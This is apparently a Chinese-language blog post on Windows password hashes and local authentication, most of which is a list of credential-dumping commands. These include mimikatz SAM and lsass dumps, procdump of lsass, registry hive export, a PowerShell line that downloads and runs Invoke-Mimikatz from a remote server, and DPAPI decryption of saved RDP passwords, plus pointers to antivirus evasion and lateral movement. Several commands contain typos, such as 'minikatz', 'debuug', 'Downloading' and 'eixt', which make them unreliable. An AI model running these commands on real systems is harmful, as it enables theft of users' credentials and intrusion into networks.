Hash简介

参考链接:几种windows本地hash值获取和破解详解

Windows系统使用两种方法对用户的密码逬行哈希处理,它们分别是LAN Manager (LM)哈希和NT LAN
Manager (NTLM)哈希.

所谓哈希(hash),就是使用一种加密函数进行计算后的结果.这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串.

现在已经有了更新的NTLMv2以及Kerberos验证体系.

Windows加密过的密码口令,我们称之为hash, Windows的系统密码hash默认情况下TS由两部分组成:第一
部分是LM-hash,第二部分是NTLM-hashₒ

Hash分类

2000 xp 2003 Vista win7 2008 2012
LM
NTLM

LM哈希密码最大长度为14,密码长度超过14位是要用NTLM哈希。

Hash格式

用户名RID:LM-HASH值 :NT-HASH值

image-20230531231621682

用户的SID值末尾的4个数字为用户的RID值

image-20230531231941199

Windows认证基础

本地认证:用户直接操作计算机登录

网络认证:远程连接到工作组的某个设备

域认证:登录到域环境的某个设备

Windows本地认证

  1. 用户输入密码
  2. 系统收到密码后将用户 输入的密码计算成NTLM Hash
  3. 与sam数据库(%SystemRoot%\system32\config\sam)
  4. 匹配则登录成功

本地认证中用来处理用户输入密码的进程为Isass.exe,密码会在这个进程中明文保存,供该进程将NTLM Hash和sam数据库中的Hash及进行比对,我们使用mimikatz来获取的明文密码,就是在这个进程中读取到的。

系统用户密码凭证获取

minikatz

本地非交互式凭证获取

1
2
3
minikatz.exe "log res.txt" "privilege::debuug" "token::elevate" "lsadump::sam" "exit"

minikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

这里展示获取Hash值方法

首先进入privilege::debug进行提权

image-20230601105005647

接着进行token模拟,运行token::elevate可以将权限提到system

image-20230601105206455

然后使用lsdump::sam把sam数据库中的值dump下来,可以获取用户hash值

image-20230601104739059

最后登录md5解密网站进行解密

image-20230601104838766

如果解密不出来,据说可以利用这个hash值进行域内的横向移动。

powershell

powershell远程加载mimikatz脚本

1
powershell IEX (New-Object Net.webClient).Downloading('你的vps中脚本下载地址');Invoke-Mimikatz-DumpCreds

Pwddump7

这款工具也可以读取当前系统的各个用户的密码hash

在命令行输入

1
Pwddump7.exe > pass.txt

Ophcrack

配合彩虹表进行口令破解

工具下载:

https://ophcrack.sourceforge.io/

彩虹表:

https://ophcrack.sourceforge.io/tables.php

http://project-rainbowcrack.com/table.htm

Procdump+Mimikatz(比较常用)

这个是微软的工具,经过微软认证,所以杀软比较不会识别

工具下载:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump lsass 进程导出:

1
2
x86:procdump.exe -accepteula -ma lsass.exe lsass.dmp
x64:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

然后用mimikatz还原密码

1
2
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

minikatz免杀方法

参考链接:https://www.freebuf.com/articles/system/234365.html

注册表导出Hash

1
2
3
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

导出后可以使用cain导入system.hiv、security.hiv获取缓存中的明文信息

1
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" eixt

meterpreter获取Hash

meterpreter集成了minikatz模块

使用命令

1
2
3
load minikatz 
msv 获取明文密码
kerberos 获取明文密码

以及其他命令,不作详述。

cobaltstrike获取Hash

cobaltstrike也能够在监听器中使用mimikatz

其他

Powershell脚本获取RDP记录

参考:https://github.com/3gstudent/List-RDP-Connections-History.git

可以获取RDP连接记录

本地RDP连接密码解密

查看连接记录

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

查看是否有密码文件

1
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

查看保存在本地的远程主机信息

1
cmdkey /list

mimikatz解密

1
2
3
4
5
6
7
8
9
提权
privilege::debug
可以得到guidMasterkey,记录这个值
dpapi::cred
/in:[指定需要解密的文件的路径]
得到MasterKey
sekurlsa::dpapi
解密得到口令
dpapi::cred /masterkey:[刚才获取的masterkey值]

PPTP口令获取

PPTP点对点隧道协议,可以使远程用户拨入ISP访问企业内网。

在渗透测试中,获取了PPTP口令,就可以登录内网进行进一步渗透。

需要得到管理员权限。

Mysql数据库密码破解

与用户相关的三个文件是user.frm、user.MYD\USER.myi,Mysql数据库用户名密码都保存在user.MYD中。

加密方式:

Mysql4.1之前是Mysql323加密

Mysql4.1之后是MysqlSHA1加密

总结

这里列举了一些比较常见的密码凭证获取的方法,可以发现密码凭证大多数都是使用Hash值进行存储,破解其实也比较困难,主要是采用彩虹表,但也不排除有些密码凭证是以明文方式存储的。总而言之,方法总比困难多。

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: Sally